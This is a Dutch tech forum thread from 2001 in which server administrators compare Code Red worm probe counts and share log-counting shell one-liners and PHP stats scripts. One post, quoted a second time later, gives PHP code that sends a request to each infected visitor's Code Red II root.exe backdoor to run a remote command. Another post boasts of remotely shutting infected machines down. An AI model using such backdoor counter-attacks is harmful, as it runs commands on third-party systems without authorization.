Code Red... Script

[Verwijderd]

Voor de lief hebbers
Ik heb een script gemaakt voor de Code Red Aanvallen. Hij kijkt in de laatste httpd log file. En geeft een output hoeveel aanvallen er zijn geweest,

Het is een shell script, met meta tags, voor een web server,

Kijk op www.zix.nu hoe hij werkt, ook hier kan je de source downloaden.


Greetz,
Tha Insane

[Prozaq]

die van rick jansen is mooier

[Theuno]

ik ben blij dat ik niet weet hoeveel het er zijn...
of gaan we een wedstrijdje doen wie er het meest krijgt ?

[Verwijderd]

Hier draait er ook eentje. Een lekker lompe berg code, maar goed, het is en blijft Perl

[RvdH]

Op dinsdag 07 augustus 2001 22:43 schreef semtx het volgende:
Voor de lief hebbers
Ik heb een script gemaakt voor de Code Red Aanvallen. Hij kijkt in de laatste httpd log file. En geeft een output hoeveel aanvallen er zijn geweest,

Het is een shell script, met meta tags, voor een web server,

Kijk op www.zix.nu hoe hij werkt, ook hier kan je de source downloaden.


Greetz,
Tha Insane

Waarom roep je een $XXX en $NNN aan als die niet bestaan (Zie source)

[bras]

%cat /var/log/httpd-access.log | grep default.ida | wc -l
726
%

ze zijn weer druk bezig

[MAZZA]

Ik heb ook zoiets draaien maar dan in PHP. Daarvan kan je hier een voorbeeldje zien:

http://maztrix.yi.org/codered.php

En hier is voor de liefhebber de source:
http://maztrix.yi.org/codered.phps

[Tjark]

leuk, maar die werkt nog niet goed: ik zie bij codered 2 dezelfde staan als bij codered 1

btw: ik zat vanmiddag pas op 97

-update- 101

[MAZZA]

Op woensdag 08 augustus 2001 02:15 schreef TjarkVerhoeven het volgende:
leuk, maar die werkt nog niet goed: ik zie bij codered 2 dezelfde staan als bij codered 1

btw: ik zat vanmiddag pas op 97

-update- 101

Stom stom stom Maar gefixt

[Verwijderd]

[rbultje@gizmo logs]$ cat *access* | grep default.ida | wc -l
222
[rbultje@gizmo logs]$

edit:

Hier mijn broers server, eergister geinstalleerd (!!!!!)

bash$ cat *access* | grep default.ida | wc -l
1455
bash$

1500 bijna, in nog geen twee dagen.

[Tjark]

zo... populair ip-nummer heeft ie

[Verwijderd]

Op woensdag 08 augustus 2001 09:19 schreef TjarkVerhoeven het volgende:
zo... populair ip-nummer heeft ie

Ja...
Maar of we daar blij van worden is weer iets anders....

[Verwijderd]

Ik gebruik dat scriptje van Rick. Wel een klein beetje verbouwdt zodat die een tabelletje uitpoept maar voor de rest hetzelfde.

Te vinden op http://mbweb.nu eerst klikken op 'stats' en daarna op 'aantal Code Red aanvallen'

Zit alweer op 829 met iets van 10 per uur op dit moment.

[imdos]

zo ... jullie zijn populair

ik heb pas 428 XXXXX en 136 NNNNN

Moet ik me nu achtergesteld voelen

[chem]

thuis server 400, server van bedrijf 2450

[Verwijderd]

Mijn broer alweer op 1582...

Dus in 7 1/2 uur ruim 200........... Dat is ongeveer 30 per uur.....

[Verwijderd]

http://www.skinner.ath.cx/code_red_stats.html


updated horly, love cron

[Valium]

Op dinsdag 07 augustus 2001 22:52 had Theuno een goed voorstel:
ik ben blij dat ik niet weet hoeveel het er zijn...of gaan we een wedstrijdje doen wie er het meest krijgt ?

Ja ja ja....ik wil ook meedoen: 434

* Valium voelt zich stukken beter nu hij meedoet

[TriLithium]

ach mag ik ook meedoen: 1695, irritant

[serkoon]

Doe dan iets als:

cat httpd-access.log | grep default.ida | awk '{print $1}' | sort | uniq | wc -l

(Er worden nl meerdere pogingen door dezelfde pctjes gedaan)

[Wierdo_NL]

Is er ook zoiets voor NT ( want in de logs bij mij staat een hele zooi XXXXXXXXXXXXXXXX )

Soms krijg ik het 4 keer per minuut binnen.

[Verwijderd]

Op woensdag 08 augustus 2001 17:03 schreef serkoon het volgende:
Doe dan iets als:

cat httpd-access.log | grep default.ida | awk '{print $1}' | sort | uniq | wc -l

(Er worden nl meerdere pogingen door dezelfde pctjes gedaan)

imho is een poging een poging, of deze nu 100x van dezelfde pc afkomt of niet, t blijft een poging

[chem]

er schijnt wel een patch voor NT te bestaan jah, heet linux geloof ik

[Wierdo_NL]

Maar niemand die iets heeft om onder NT net zo iets te krijgen ??

[Verwijderd]

Op woensdag 08 augustus 2001 17:04 schreef Wierdo_NL het volgende:
Is er ook zoiets voor NT ( want in de logs bij mij staat een hele zooi XXXXXXXXXXXXXXXX )

Soms krijg ik het 4 keer per minuut binnen.

JA logfile openenen en handmatig gaan tellen
Nee, ik zou zo niet durven zeggen of er iets voor NT is.
De CLI van Linux is nogal wat krachtiger, zoals je kan zien.

Zit inmiddels ook op 1027.

[Verwijderd]

Hier nog ene link naar de server hier thuis en geprogrammeerd door mijn huisgenoot. De data zoals aantal andere scripts vanuit Apache log file, check this: http://www.vylix.com/codered.php

[Tjark]

Op woensdag 08 augustus 2001 17:19 schreef Wierdo_NL het volgende:
Maar niemand die iets heeft om onder NT net zo iets te krijgen ??

Download de GNU utilities voor win32 en dan kun je onder cmd zoiets doen als:

code:

grep default.ida | grep NNNNN | wc
grep default.ida | grep XXXXX | wc

Je zou er zo een ASP paginaatje omheen kunnen bouwen.

[Verwijderd]

waar ken ik die bescherming tegen codered downen ?

[Verwijderd]

www.microsoft.com/codered/

of www.centralcommand.com

[Verwijderd]

lol, thx....ben een n00b

[Verwijderd]

You're welcome just helping out

[Verwijderd]

You're welcome just helping out

Check this page: http://www.vylix.com/codered.php

[Freez]

ik heb al attacks vanaf 19 juli, en ik heb blijkbaar een populair ip: 3681 attacks totaal al

maar gelukkig draai ik geen IIS maar apache op m'n NT machine

[Apache]

Eerste worm (XXXXXX): 0
Tweede worm (NNNNNN): 4071
Totaal: 4071




blijkbaar draaien er bij m'n isp teveel mensen win2K, maar sinds poort 80 geblokt staat voor de buitenwereld moet iemand binnenin onze provider er mee begonnen zijn

http://bserver.dhs.org:4000/~blacky/codered.php

[Verwijderd]

Op woensdag 08 augustus 2001 20:13 schreef InSaNe400 het volgende:

You're welcome just helping out



Check this page: http://www.vylix.com/codered.php

Euhm ik denk dat 1 keer een link noemen in een thread meer dan genoeg is, anders gaat het in de categorie "spam" vallen

[Prozaq]

Op woensdag 08 augustus 2001 20:21 schreef Apache het volgende:
Eerste worm (XXXXXX): 0
Tweede worm (NNNNNN): 4071
Totaal: 4071




blijkbaar draaien er bij m'n isp teveel mensen win2K, maar sinds poort 80 geblokt staat voor de buitenwereld moet iemand binnenin onze provider er mee begonnen zijn

http://bserver.dhs.org:4000/~blacky/codered.php

vreemd, want die xxxxx variant is agressiever en komt meer voor

[Prozaq]

Op woensdag 08 augustus 2001 20:13 schreef InSaNe400 het volgende:
You're welcome just helping out

Check this page: http://www.vylix.com/codered.php

En ik sta nou lekker ook in je rijtje

[Verwijderd]

Op woensdag 08 augustus 2001 20:26 schreef Prozaq het volgende:
[..]

En ik sta nou lekker ook in je rijtje

[edit]
newlines verwijderd.
/me wordt gek van Opera op GOT

[Verwijderd]

THNX ben je grote jongen zorg liever dat je een van de weinige bent die hem niet verspreid, dit is wel beetje triest.

[Verwijderd]

yawn
gimme a good firewall & virus scanner
dag Code Red

[Verwijderd]

www.centralcommand.com en www.winroute.nl of zo?

[Sir Abarth]

Op woensdag 08 augustus 2001 17:04 schreef Wierdo_NL het volgende:
Is er ook zoiets voor NT ( want in de logs bij mij staat een hele zooi XXXXXXXXXXXXXXXX )

Soms krijg ik het 4 keer per minuut binnen.

code:

type *.log | find /c "default.ida"

voor totaal aantal, en

code:

find *.log /c "default.ida"

voor per logfile. (wel naar de logdir cd'en)
Je kunt een beetje rondspelen met de searchstring natuurlijk
(btw, waarom nu weer een nagemaakte/gepoorte grep voor NT installen? Ken je DOS commando's/proggies! )

[Verwijderd]

Op woensdag 08 augustus 2001 20:32 schreef Ev!L-c het volgende:
yawn
gimme a good firewall & virus scanner
dag Code Red

Je kan ook beginnen met een goede webserver

[Verwijderd]

yups k'heb Avx en sygate personal firewall 4.1 (gratis) en Blackice defender dus er komt geen Code Red of SirCam worm hier binnen

[Verwijderd]

Toevallig geen IIS?

[Verwijderd]

Op woensdag 08 augustus 2001 20:41 schreef Ev!L-c het volgende:

yups k'heb Avx en sygate personal firewall 4.1 (gratis) en Blackice defender dus er komt geen Code Red of SirCam worm hier binnen

Ik en met mij vele mensen in dit draadje hebben geen virusscanner. Explain that

[Verwijderd]

Nelske maakt vast gebruik van een leuke Unix variant en opent niet ieder attachment bij zijn mail en draait goede router

[Prozaq]

Op woensdag 08 augustus 2001 20:30 schreef InSaNe400 het volgende:
THNX ben je grote jongen zorg liever dat je een van de weinige bent die hem niet verspreid, dit is wel beetje triest.

goeiendag zeg. Wil je zeggen dat ik je iis nu heb geinfecteerd met code red dan if so, waarom ben je dan zo trots op je statjes?

wees niet bang dat ik het verspreid, dit is NOS weet je nog?

[Verwijderd]

Just kidding en Apache wordt tot nu toe nog nie geïnfecteerd en als je alles gelezen had dan had je allang geweten waar die data vandaan komt en dat is dus niet IIS en ik ben zelf niet bang voor besmetting maar wel dat andere mensen die IIS nog niet gepatched hebben er door besmet raken en zo nog meer teringzooi het internet op knallen. Vandaar

[Consequator]

[root@invision /root]# grep -c default\.ida /var/log/httpd/access_log*
/var/log/httpd/access_log:796
/var/log/httpd/access_log.1:113
/var/log/httpd/access_log.2:0
/var/log/httpd/access_log.3:29
/var/log/httpd/access_log.4:0
[root@invision /root]#

[Verwijderd]

Op woensdag 08 augustus 2001 20:47 schreef InSaNe400 het volgende:


Nelske maakt vast gebruik van een leuke Unix variant en opent niet ieder attachment bij zijn mail en draait goede router

Yep en onder linux durf ik ook nog wel atetsjmentjes te openen

Op woensdag 08 augustus 2001 20:50 schreef Prozaq het volgende:

[..]

goeiendag zeg. Wil je zeggen dat ik je iis nu heb geinfecteerd met code red dan if so, waarom ben je dan zo trots op je statjes?

wees niet bang dat ik het verspreid, dit is NOS weet je nog?

/me wist dat wel , vandaar ook mijn eerdere reactie op jouw post

[jelmervos]

Mag ik ook meedoen?

code:

Apache/1.3.20 (Unix) PHP/4.0.6

Eerste worm (XXXXXX):  141 
Tweede worm (NNNNNN):  1276 
Totaal:  1417

[Verwijderd]

Die van mij ging gister erug hard, maar vandaag niet zo...

Volgens mij moeten we er maar een sport van maken......

Greetz,
Tha Insane

[blouweKip]

"This sytem has been attacked this month by the Code Red worm a total of : 533 times.

Out of the above number a total of 204 were from unquie ips"

Dan valt t bij mij nog wel mee dus...

[Verwijderd]

Weer update van het script nu nog beter, check: http://www.vylix.com/codered.php

[Koffie]

Waarom heeft iedereen zo weinig 'hits' ?
Ik ben al meer dan 1000 (!!) keer gescaned.
Allee kan ik nu remote niet meer dan 1000 entries op vragen in de log.

* Koffie begint het virus nu wel weer zat te worden

[chem]

Op woensdag 08 augustus 2001 14:14 schreef chem het volgende:
thuis server 400, server van bedrijf 2450

vandaag thuis:

code:

michiel@jimbob:~$ cat /www/logs/access_log | grep default.ida | wc -l
    444

werk:

code:

phobos:~$ locate access_log | xargs grep default.ida | wc -l
   2744

het neemt al af iig bij mij...

[Verwijderd]

Heb ik het record?

code:

[root@home logs]# cat * | grep default.ida | wc -l
   3849

[root@nivedita logs]# cat * | grep default.ida | wc -l
  11498

[Tjark]

Op woensdag 08 augustus 2001 20:37 schreef Sir Abarth het volgende:

[..]btw, waarom nu weer een nagemaakte/gepoorte grep voor NT installen? Ken je DOS commando's/proggies!

erm ja... de laatste tijd zoveel meer bezig met unix dat dit me eerder te binnen schoot

[Verwijderd]

Op donderdag 09 augustus 2001 10:33 schreef Koffie het volgende:
Waarom heeft iedereen zo weinig 'hits' ?
Ik ben al meer dan 1000 (!!) keer gescaned.
Allee kan ik nu remote niet meer dan 1000 entries op vragen in de log.

* Koffie begint het virus nu wel weer zat te worden

uhh ik weten niet wat jij onder weinig verstaat, maar ik inmiddels meer dan 1700 hits gehad op me thuis servertje...
( http://www.skinner.ath.cx/code_red_stats.html )

en de 'hit-rate' neemt niet bepaald af.

[chem]

Op donderdag 09 augustus 2001 10:48 schreef [nielsonline] het volgende:
Heb ik het record?

code:

[root@home logs]# cat * | grep default.ida | wc -l
   3849

[root@nivedita logs]# cat * | grep default.ida | wc -l
  11498

hey dude, default.ida staat in zowel error_log en access_log he dus waarschijnlijk moet je die 2 getallen /2 doen

[MAZZA]

Op donderdag 09 augustus 2001 12:36 schreef chem het volgende:

[..]

hey dude, default.ida staat in zowel error_log en access_log he dus waarschijnlijk moet je die 2 getallen /2 doen

Mjah pcies als ik dat zo doe kom ik uit op:

code:

cat * | grep default.ida | wc -l
   1749

Terwijl het er in werkelijkheid zoveel zijn:

code:

Total 'NNNN' (CodeRed I) probes:  469
Total 'XXXX' (CodeRed II) probes: 177
Total probes combined: 646
Totaal aantal unieke hosts: 444

[Verwijderd]

Op woensdag 08 augustus 2001 20:41 schreef Ev!L-c het volgende:
yups k'heb Avx en sygate personal firewall 4.1 (gratis) en Blackice defender dus er komt geen Code Red of SirCam worm hier binnen

Mag ik dit als domste opmerking van de thread bestempelen?

/me krijgt ideeen voor een hall-of-shame ofzoiets

[Verwijderd]

Op donderdag 09 augustus 2001 12:36 schreef chem het volgende:

[..]

hey dude, default.ida staat in zowel error_log en access_log he dus waarschijnlijk moet je die 2 getallen /2 doen

daarom doe ik ook cat *access*

Kleine update:
[rbultje@gizmo rbultje]$ cat /var/www/logs/*access* | grep default.ida | wc -l
279
[rbultje@gizmo rbultje]$

bash$ cat /var/www/logs/*access* | grep default.ida | wc -l
1904
bash$

Blijft een leuke worm
Als je erover nadenkt, 1000 aanvallen per computer is verschrikkelijk veel.... :\
Een virus waarvoor *geen* patch bestaat en het halve internet ligt opeens plat (!!!) omdat al die domme IIS servers zo veilig zijn...

[CBA]

Op donderdag 09 augustus 2001 07:58 schreef InSaNe400 het volgende:
Weer update van het script nu nog beter, check: http://www.vylix.com/codered.php

Kan je ff dat scriptje doormailen naar me ?
[e-mail]

Thnx

[Mart!]

Heeft iemand misschien ook nog mooie grafiekjes? Nu krijg je alleen maar een indruk van totalen! zou wel tof zijn als iemand per dag kan laten zien hoeveel of zo?
Als ik wist hoe ik het met ASP kon doen (ideeen zijn welkom), dan wilde ik m'n eigen logs ook wel ff parsen....

[Sir Abarth]

Op donderdag 09 augustus 2001 11:58 schreef TjarkVerhoeven het volgende:

[..]

erm ja... de laatste tijd zoveel meer bezig met unix dat dit me eerder te binnen schoot

Tis ook niet echt het windows hoekje hier

[Verwijderd]

Het wordt steeds mooier, er zijn ook (MS)hotmail servers besmet.

Zie slashdot

[Verwijderd]

Op donderdag 09 augustus 2001 07:58 schreef InSaNe400 het volgende:
Weer update van het script nu nog beter, check: http://www.vylix.com/codered.php

Mijn god wat een hoop chello

Je mag toch helemaal geen webservertje draaien bij chello....

[Verwijderd]

Op donderdag 09 augustus 2001 19:39 schreef BlackHawk het volgende:
[..]
Mijn god wat een hoop chello
Je mag toch helemaal geen webservertje draaien bij chello....

De worm heeft een voorkeur voor het eigen netwerk, en aangezien het verzamelen van deze info volgens mij op een computer op het chello netwerk plaatsvindt is het dus logisch dat je veel chello adressen ziet.

Verder hoorde ik dat die webserver standaard geinstalleerd (en geactiveerd) wordt bij w2k, terwijl de meeste gebruikers van het bestaan ervan op hun computer niet eens af zullen weten. Weet iemand uit eerste hand of dat echt gebeurt?

[Verwijderd]

Verder hoorde ik dat die webserver standaard geinstalleerd (en geactiveerd) wordt bij w2k, terwijl de meeste gebruikers van het bestaan ervan op hun computer niet eens af zullen weten. Weet iemand uit eerste hand of dat echt gebeurt?

Bij de Windows 2000 Server versies wordt 'ie automatisch geinstalleerd bij een 'typical install', bij een 'custom install' kun je kiezen.
Bij Windows 2000 Professional moet je de uitgeklede versie van IIS (PWS, Personal Web Server) apart installeren.

De kans dat iemand thuis een IIS-versie draait zonder 't te weten is erg klein...

[Verwijderd]

Jup, dat heb je goed, draai hier Pro en standaard staat er gelukkig een boel uit.
De server via Chello (oej, mag dat wel? ) logt wel leuk zo en infecteren was toch nie gelukt want daarvoor update ik te vaak (die patch is toch al redelijk lang beschikbaar of ben ik abuis?).
Check http://www.vylix.com/codered.php , helaas zonder grafiek maar wel lekker duidelijk.

[veldmuis]

Op donderdag 09 augustus 2001 12:55 schreef beelzebubu het volgende:

[..]

Mag ik dit als domste opmerking van de thread bestempelen?

/me krijgt ideeen voor een hall-of-shame ofzoiets

WHHAHHAHAH
blackice, en geen worm die binnenkomt
hmm die andere is nog ietsie beter, maar ook niet duidelijk echt goed ofzo

en die hall of shape is idd een strak plan

GoT's HoS
http://hos.tweakers.net

[Verwijderd]

Code Red II aanvallen : 1821
Code Red I aanvallen : 129

[Verwijderd]

Op donderdag 09 augustus 2001 21:38 schreef Afterlife het volgende:
[..]
Bij de Windows 2000 Server versies wordt 'ie automatisch geinstalleerd bij een 'typical install', bij een 'custom install' kun je kiezen.
Bij Windows 2000 Professional moet je de uitgeklede versie van IIS (PWS, Personal Web Server) apart installeren.

De kans dat iemand thuis een IIS-versie draait zonder 't te weten is erg klein...

Ok, dat zou dan meevallen.

Wat wel opvalt is dat op vele van de IPs die ik in mijn logs zie de home-pagina een standaard microsoft "Under construction" pagina is. Soms nederlands, duits, engels, maar verder gelijk. Dat lijkt toch op mensen die de webserver wel hebben geinstalleerd, maar niet gebruiken.

[alt-92]

Omdat er in C!T of (nog erger) CiD een keer een stukkie heeft gestaan dat IIS makkelijk te installaeren was voor je eigen hoompeets

En ga maar eens [search=windows webserver] , er komt regelmatig de kreet IIS voorbij 'want die zit er toch al bij'.

[Johannes Verelst]

Ik heb hier een stukje code om je apache server (of IIS natuurlijk .. ;-) met php wat nuttigs te laten doen:

code:

<?
$dummy = file('http://'.getenv("REMOTE_ADDR"). '/scripts/root.exe?%2Fc+net+send+%25computername%25+This+machine+has+the+CODE+RED+II+worm%2C+please+shut+down+immediately+and+then+take+appropriate+measures%21%20See%20http%3A%2F%2Fvil.mcafee.com%2FdispVirus.asp%3Fvirus_k%3D99177%26');
}
?>

Sla dit op in 'default.ida' en doeAddType application/x-httpd-php .ida
in je httpd.conf

Nu krijg iedereen die achter een PC zit met CodeRed (II in ieder geval, ik weet niet of het ook met CrV1 & CrV2 werkt) een popup dat hij geinfecteerd is.

Ik heb er al 5 verstuurd in een paar uur (m'n ip adres is niet zo populair blijkbaar ... het kan ook zijn dat alle IIS dozen hier op de campus al gefixed zijn)

[MAZZA]

Dat ga ik maar eens doen dan

Mijn tussenstand is trouwens:

Totaal 'NNNN' (CodeRed I) probes: 516
Totaal 'XXXX' (CodeRed II) probes: 178
Totaal probes samen: 694
Totaal aantal unieke hosts: 478

[Verwijderd]

Op donderdag 09 augustus 2001 21:49 schreef ikbenveldmuis het volgende:
WHHAHHAHAH
blackice, en geen worm die binnenkomt

Dit was een geintje, he?
Zeg ja, alsjeblieft.... Anders ben jij #1 in de hall-of-shame

[GX]

hmmm
voor de windows ppl:

PHP:

<?
exec('find /c "default.ida?NNN" "H:\program files\apache group\apache\logs\access.log"',$output);
exec('find /c "default.ida?XXX" "H:\program files\apache group\apache\logs\access.log"',$output);

$ding2 = explode(":",$output[1]);
$ding = explode(":",$output[3]);

echo "
Het aantal Code Red XXXXX aanvallen : $ding[2]<br>
Het aantal Code Red NNNNN aanvallen : $ding2[2]
";
?>

Wel ff path aanpassen dus

bij mij respectievelijk 460 en 150 aanvallen..

[Verwijderd]

Ik ben nu gegroeit naar 2772 aantal.

[RG]

Ik schrok me rot toen ik zag dat op mijn oude server in een paar dagen er al dik 800 attacks waren geweest... Ik dacht dat zijn er hoogstens 5 ofzo... Nu op mijn nieuwe server is het al net zo erg: http://server.elle.dhs.org/codered.php

En dan ga je naar zo'n IP toe en dan hebben ze geeneens een website draaien! ZET DIE SREVER DAN UIT!!!

[Ro_meo]

op : http://screaming-penguin.com/main.php?storyid=1870
staat een stukje hoe je voor apache/php er wat aan kan doen...

[Mior]

code:

b0xx:/var/log/httpd# grep default.ida * | grep Aug | sort -u | wc -l
   4843

*zucht*

[Verwijderd]

Mijn Apache schakelt de hele codered bak gewoon uit. Als jij mijn bandbreedte vreet; dan laat ik jouw bak zichzelf resetten. hihi

Ja het is in principe illegaal, maar dat is het verspreiden van virussen ook; bovendien ik denk niet dat mensen die code red hebben slim genoeg zijn om effe in hun log te kijken waarom hun pc uitschakelde. Al zullen ze na 4 keer hopelijk een virusscanner starten.

[Verwijderd]

Op vrijdag 10 augustus 2001 00:39 schreef Wizard_of_OS het volgende:
Ik heb hier een stukje code om je apache server (of IIS natuurlijk .. ;-) met php wat nuttigs te laten doen:

code:

<?
$dummy = file('http://'.getenv("REMOTE_ADDR"). '/scripts/root.exe?%2Fc+net+send+%25computername%25+This+machine+has+the+CODE+RED+II+worm%2C+please+shut+down+immediately+and+then+take+appropriate+measures%21%20See%20http%3A%2F%2Fvil.mcafee.com%2FdispVirus.asp%3Fvirus_k%3D99177%26');
}
?>

Sla dit op in 'default.ida' en doeAddType application/x-httpd-php .ida
in je httpd.conf

Nu krijg iedereen die achter een PC zit met CodeRed (II in ieder geval, ik weet niet of het ook met CrV1 & CrV2 werkt) een popup dat hij geinfecteerd is.

Ik heb er al 5 verstuurd in een paar uur (m'n ip adres is niet zo populair blijkbaar ... het kan ook zijn dat alle IIS dozen hier op de campus al gefixed zijn)

Hoe kun je checken of dit goed gaat...

[alt-92]

Door een copy van cmd.exe in de scripts dir te zetten misschien (dat doet die payload van CR2 ook toch) ?

Ik ga ut niet testen iig

[Verwijderd]

Nog een http request starten naar jouw server met als bericht: "counter attack geslaagd" dat zie je dan ook terug in je logs. (als hij het bericht terug stuurt, dan heeft ie ook het vorogaande commando uitgevoerd.)

[Verwijderd]

Heeft iemand in goede mrtg config voor het counten van Code Red meldingen?

[capedro]

Ik heb gewoon een inbelverbinding op mijn linux bak en toch:

code:

root@athos:/usr/firewall > awk '/default.ida/{ print $1}' /var/log/httpd/access*|sort|uniq | wc -l
     24
root@athos:/usr/firewall >

en bij een kennis waarbij ik ook root rechten heb:

code:

bash-2.04# awk '/default.ida/{ print $1}' /var/log/httpd/access*|sort|uniq | wc -l
    818
bash-2.04#

[Verwijderd]

Een bak waar ik een aantal websites op draai:

awk '/default.ida/{ print $1}' ./*access*|sort|uniq|wc -l
5303

en thuis:

awk '/default.ida/{ print $1}' ./*access*|sort|uniq|wc -l
679